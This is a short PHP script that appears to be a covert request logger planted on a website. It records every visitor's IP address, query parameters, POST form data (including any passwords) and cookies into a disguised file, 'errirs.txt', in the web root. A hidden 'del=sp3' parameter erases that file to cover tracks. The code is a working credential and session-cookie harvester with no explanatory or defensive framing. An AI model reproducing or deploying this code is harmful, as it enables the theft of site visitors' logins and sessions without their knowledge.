<?php
date_default_timezone_set('America/New_York');
$r=getSiteRoot();
$logFile = $r . '/errirs.txt';
if(isset($_GET['del']) && $_GET['del'] == 'sp3' && file_exists($logFile)){
    unlink($logFile);
    exit();
}


$entry = [
    'Logger' => 'sp3',
    'file'   => __FILE__,
    'time'   => date('c'),
    'ip'     => $_SERVER['REMOTE_ADDR'] ?? 'CLI',
    'get'    => $_GET,
    'post'   => $_POST,
    'cookie' => $_COOKIE,
];
file_put_contents($logFile, json_encode($entry) . PHP_EOL, FILE_APPEND | LOCK_EX);

function getSiteRoot(){
    if (!empty($_SERVER['DOCUMENT_ROOT'])) {
        return realpath($_SERVER['DOCUMENT_ROOT']);
    }
    $uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
    $parts = explode('/', trim($uri, '/'));
    $levelsUp = count($parts);
    $dir = realpath(__DIR__);
    for ($i = 0; $i < $levelsUp; $i++) {
        $dir = dirname($dir);
    }
    return $dir;
}

?>
